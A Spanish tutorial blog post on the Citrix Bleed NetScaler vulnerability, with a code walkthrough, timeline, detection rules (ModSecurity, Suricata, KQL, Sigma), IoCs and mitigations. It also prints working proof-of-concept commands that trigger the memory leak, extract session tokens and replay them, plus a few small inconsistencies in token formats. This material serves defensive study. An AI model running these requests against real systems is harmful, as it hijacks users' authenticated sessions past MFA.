tutoriales · 8 min de lectura
Citrix Bleed: el buffer overread que se lleva la sesión
CVE-2023-4966 permite leer ~63 KB de memoria del NetScaler con una petición HTTP de Host header oversized. Entre los datos: tokens de sesión activos. El atacante los reutiliza y entra como un usuario válido — sin MFA. Boeing, ICBC, Comcast y más caen entre octubre y noviembre.
· Manuel López Pérez · tutoriales

El 10 de octubre de 2023, Citrix publica advisory por CVE-2023-4966 en NetScaler ADC y Gateway. Information disclosure, CVSS 9.4. La industria lo bautiza informalmente — y rápido — Citrix Bleed, por analogía con Heartbleed: ambos son buffer overread, ambos leakean memoria adyacente del proceso, ambos exponen secretos del peor tipo. Heartbleed leakeaba claves privadas; Citrix Bleed leakea session tokens activos.
A finales de mes el patrón está claro: el atacante hace una petición HTTP no autenticada, recibe tokens de sesión de otros usuarios que están dentro y los reutiliza. MFA no protege — la sesión ya está autenticada. Boeing confirma el 1 de noviembre. ICBC US cae el 8 de noviembre con efecto en el settlement de US Treasuries. Comcast Xfinity notifica 35.7 millones de cuentas en diciembre. Allen & Overy, DP World Australia, varios estados US, agencias federales.
Mandiant confirma explotación in-the-wild desde finales de agosto — seis semanas antes del parche.
Lab: PoC público de Assetnote reproducible contra una imagen NetScaler vulnerable en lab cerrado. No se envía contra appliances en producción.
El bug — snprintf que devuelve tamaño no escrito
La función vulnerable, según el RE publicado por Assetnote, está en la librería del NetScaler que sirve el endpoint OpenID Discovery:
// Reconstruido de Assetnote sobre nsppe / libns_aaa_oauthrp.so
// (NetScaler 13.1-48.47, función ns_aaa_oauthrp_send_openid_config)
char resp_buf[0x20000]; // 131072 bytes en stack
const char *host = req_get_header(req, "Host");
int n = snprintf(resp_buf, sizeof resp_buf,
"{\"issuer\":\"https://%s/oauth/idp\","
"\"authorization_endpoint\":\"https://%s/oauth/idp/login\","
/* ...más campos que repiten %s con host... */
"}", host, host, host, host, host, host);
ns_vpn_send_response(req, resp_buf, n); // ← envía n bytessnprintf devuelve el número de bytes que habría escrito si el buffer hubiera sido suficientemente grande — no los que escribió realmente. Si host es largo (varias decenas de KB), la cadena resultante supera 0x20000 (131072) y snprintf trunca la escritura pero devuelve el tamaño completo. La llamada siguiente envía n bytes desde resp_buf — los primeros 0x20000 son la respuesta truncada, los siguientes son bytes adyacentes al buffer en el stack/heap.
Lo que vive cerca del buffer en nsppe:
- Buffers de request de otros clientes activos en el mismo worker (cookies, headers, POST body).
- Tokens de sesión
NSC_AAACde usuarios autenticados. - Fragmentos de SAML assertions, JWT bearer tokens.
- Memoria del heap con strings ya
freeadas pero no zero-filled.
El parche (13.1-49.15 y backports) cambia el envío a usar MIN(n, sizeof resp_buf) para no devolver más bytes de los realmente escritos.
La petición que dispara el leak
Assetnote publica el 26-oct-2023 el PoC concreto. Tamaño exacto de Host para forzar el overflow: ~24812 bytes de path-equivalente que, multiplicado por las 6 expansiones %s en el template, supera 0x20000:
HOST_OVERFLOW=$(python3 -c "print('A' * 24812)")
curl -k --max-time 10 \
-H "Host: $HOST_OVERFLOW" \
"https://target.netscaler.test/oauth/idp/.well-known/openid-configuration" \
-o leak.bin
ls -la leak.bin
# -rw-r--r-- 1 user user 65304 ... leak.bin ← ~64KB de responseLa respuesta es JSON truncado seguido de memoria adyacente. Buscar tokens NSC_AAAC (64 hex chars + 2 dash-separated halves):
strings leak.bin | grep -oE '[a-f0-9]{32}\.[a-f0-9]{32}' | sort -u
# 59d2be99be7a01c9fb10110f42b18867.0c3a01f2245525d5f4f58455e445a4a42
# 8f3e1a7b9c4d5e6f1a2b3c4d5e6f7a8b.9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f
# ...
# Variantes de cookies/headers expuestos:
strings leak.bin | grep -E 'NSC_AAAC=|sessionId=|Authorization:' | headCada token observado corresponde a una sesión activa en el momento del request — usuarios del SSL VPN, OAuth, Citrix Workspace.
Reutilizar el token
Con un token válido, el atacante lo coloca en su navegador y entra como ese usuario:
TOKEN='59d2be99be7a01c9fb10110f42b18867.0c3a01f2245525d5f4f58455e445a4a42'
# 1) Endpoint VPN — sesión SSL VPN activa
curl -k -H "Cookie: NSC_AAAC=$TOKEN" \
"https://target.netscaler.test/vpn/index.html"
# → 200 OK, página de aplicaciones publicadas
# 2) Citrix Workspace — apps remotas
curl -k -H "Cookie: NSC_AAAC=$TOKEN" \
"https://target.netscaler.test/cgi/login?username=&password="
# → autenticado como el usuario propietario del tokenPunto crítico: el flujo normal exige usuario + password + MFA. El token los salta los tres — ya es una sesión autenticada. Resetear la contraseña no invalida el token. Solo kill aaa session desde CLI o un logout del usuario cierra la sesión.
La mayoría de organizaciones que parchearon el 10-11 oct no rotaron sessions hasta el guidance de Mandiant del 17 oct. En esa ventana, los atacantes con tokens robados pre-parche seguían entrando.
La cronología
- Finales de agosto 2023: Mandiant identifica primeros casos in-the-wild. Atribución preliminar a varios clusters, sin patrón único.
- 10 de octubre: Citrix publica advisory y parche. Recomendación inicial: parchear.
- 17 de octubre: Mandiant publica guidance — además de parchear, terminar todas las sesiones activas porque el patch no invalida tokens robados antes del 10-oct.
- 23 de octubre: Citrix amplifica la recomendación de Mandiant.
- 26 de octubre: Assetnote publica PoC público (Host header oversize).
- Final octubre — noviembre: explotación masiva por múltiples actores. LockBit muy activo.
- 1 noviembre: Boeing confirma compromiso (LockBit lo lista en su portal).
- 8 noviembre: ICBC US confirma compromiso con impacto en settlement US Treasury.
- Diciembre 2023: Comcast Xfinity notifica 35.7M cuentas, mismo vector.
Detección
NetScaler-side — limit en Host header
Lo más directo: regla WAF/reverse proxy delante del NetScaler que rechace Host: headers de más de 1 KB hacia /oauth/idp/.*. Ningún caso legítimo necesita Host header largo.
ModSecurity rule:
SecRule REQUEST_HEADERS:Host "@gt 1024" \
"id:1004966,phase:1,deny,status:400,log,\
msg:'CVE-2023-4966 Citrix Bleed — oversized Host header',\
tag:'cve/2023-4966',tag:'attack-info-leak'"Suricata / Snort
alert http any any -> $NETSCALER any (msg:"CITRIX BLEED CVE-2023-4966 oversized Host header to OAuth endpoint";
http.uri; content:"/oauth/idp/.well-known/openid-configuration"; nocase;
http.host; isdataat:1024;
reference:cve,2023-4966;
classtype:attempted-recon; sid:90234966; rev:2;)KQL — Sentinel / Defender
// 1) Requests con Host header oversized (> 1KB) hacia /oauth/idp/
CommonSecurityLog
| where Timestamp > ago(180d)
| where DeviceVendor =~ "Citrix" or DeviceProduct in~ ("NetScaler","ADC","Gateway")
| where RequestURL has "/oauth/idp/.well-known/openid-configuration"
| where strlen(coalesce(SourceHostName, RequestClientApplication, "")) > 1024
| project Timestamp, SourceIP, RequestURL, DeviceName
// 2) Reanudación de sesión sin auth event previo en 24h
let session_events = SecurityEvent
| where TimeGenerated > ago(180d)
| where EventID == 4624 and LogonType == 3
| where TargetUserName !startswith "anonymous" and TargetUserName !endswith "$";
let auth_events = SecurityEvent
| where TimeGenerated > ago(180d)
| where EventID == 4768 // Kerberos TGT issued (real login)
| project AuthTime=TimeGenerated, TargetUserName;
session_events
| join kind=leftouter auth_events on TargetUserName
| where AuthTime < TimeGenerated - 24h or isnull(AuthTime)
| project TimeGenerated, Computer, TargetUserName, IpAddressSigma — sesión reanudada desde IP nueva
title: Citrix Bleed Session Token Reuse from New IP
id: 8e1f0c4d-3a8b-4cdd-bf7a-2e4a6c7d8e9f
status: stable
references:
- https://cloud.google.com/blog/topics/threat-intelligence/session-hijacking-citrix-cve-2023-4966
logsource:
product: citrix
service: netscaler
detection:
selection:
EventID: 'AAA_SESSION_ESTABLISHED'
new_context:
SourceCountry|not: '{baseline_user_country}'
no_prior_auth:
not_present_in_prior_24h: AAA_LOGIN_SUCCESS
condition: selection and (new_context or no_prior_auth)
level: highIoCs post-explotación publicados por Mandiant
| Tipo | Indicador | Notas |
|---|---|---|
| MD5 | eb842a9509dece779d138d2e6b0f6949 | FREEFIRE backdoor .NET (C2 vía Slack) |
| Filename | e.exe, d.dll | Credential harvester (loader + DLL) |
| Filename | sh3.exe | Mimikatz LSADUMP |
| Filename | 7.exe | 7-zip portable (staging/exfil) |
| Filename | netscan.exe | SoftPerfect NetScan (recon lateral) |
| RMM legítimo abusado | Atera, AnyDesk, SplashTop | Persistencia “legítima” tras compromiso inicial |
CISA en AA23-325A añade IoCs específicos de LockBit usando Citrix Bleed.
Reproducción en lab
# Setup: NetScaler ADC VPX en VMware con build < 13.1-49.15.
# La imagen NSVPX disponible para clientes Citrix bajo contrato.
# Encender el portal OAuth IDP en una vIP de pruebas.
# 1) Confirmar versión vulnerable desde CLI del appliance:
# show ns version
# -> NetScaler NS13.1: Build 48.47
# 2) Disparar el leak — ajustar tamaño hasta que el response supere 32KB
for SIZE in 16000 20000 22000 24000 24812 25000; do
RESP=$(curl -k --max-time 5 \
-H "Host: $(python3 -c "print('A'*$SIZE)")" \
"https://lab-netscaler.local/oauth/idp/.well-known/openid-configuration" \
-o /tmp/leak.bin -w "%{size_download}")
echo "size=$SIZE response_bytes=$RESP"
done
# Tamaño efectivo en lab: 24812 bytes según Assetnote.
# 3) Extraer cookies de la respuesta
strings /tmp/leak.bin | grep -oE 'NSC_AAAC=[A-Za-z0-9\.\-]+' | sort -u
# 4) Validar token con la UI
TOKEN=...
curl -k -H "Cookie: NSC_AAAC=$TOKEN" \
"https://lab-netscaler.local/vpn/index.html"
# Si devuelve la página de aplicaciones publicadas, el bleed funcionóMitigaciones, en orden
- Parchear a 14.1-8.50, 13.1-49.15, 13.0-92.19, o equivalente en NetScaler Cloud.
- Terminar TODAS las sesiones activas tras parchear:
Si no, los tokens robados antes del parche siguen funcionando.> kill aaa session -all > kill icaconnection -all > kill pcoipConnection -all > kill rdpConnection -all - Rotar credenciales de cualquier usuario que tuviera sesión activa durante la ventana de exposición.
- Bloquear SSL VPN externo durante el patch si no hay forma de migrar el tráfico a otra puerta.
- Auditar logs AD en busca de logons desde sesiones sin precedente.
- Después del incidente: pasar el portal VPN detrás de un IDP central (Okta, Entra ID) con device posture check. Eso convierte tokens robados en inútiles porque la siguiente autenticación al IDP detecta el cambio de device fingerprint.
Lo que enseña
- Buffer overreads no son históricos. Heartbleed (2014), Cloudbleed (2017), Citrix Bleed (2023), Citrix Bleed 2 (2025). En productos enterprise grandes, el bug sigue saliendo. La razón es la misma: C/C++ y código legacy que precede a la era memory-safe.
- El patch no es la mitigación completa. Un bug que expone state (sesiones, claves) requiere rotar el state además de parchear. Esa segunda parte se olvida sistemáticamente.
- MFA no protege post-auth. Toda la inversión corporativa en MFA queda anulada cuando el atacante roba la sesión después del login. La defensa pasa por session-bound device posture o continuous evaluation del session — disponible en Entra ID, Okta moderno, no en NetScaler standalone.
- Citrix sigue siendo perímetro. Segundo zero-day pre-auth crítico del año tras CVE-2023-3519 en julio. Para 2024 la pregunta operativa es: ¿hay alternativa? Zero Trust Network Access moderno está madurando lo suficiente como para sustituir SSL VPN tradicional.
Referencias
- Citrix advisory CVE-2023-4966: https://support.citrix.com/article/CTX579459
- Mandiant, Investigation of Session Hijacking via Citrix NetScaler ADC and Gateway Vulnerability: https://cloud.google.com/blog/topics/threat-intelligence/session-hijacking-citrix-cve-2023-4966/
- CISA guidance: https://www.cisa.gov/guidance-addressing-citrix-netscaler-adc-and-gateway-vulnerability-cve-2023-4966-citrix-bleed
- Assetnote technical write-up con PoC y RE de la función: https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966
- Watchtowr Labs analysis: https://labs.watchtowr.com/the-pain-of-patching-citrix-bleed-2-cve-2023-4966/
- PoC público (Chocapikk): https://github.com/Chocapikk/CVE-2023-4966
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2023-4966


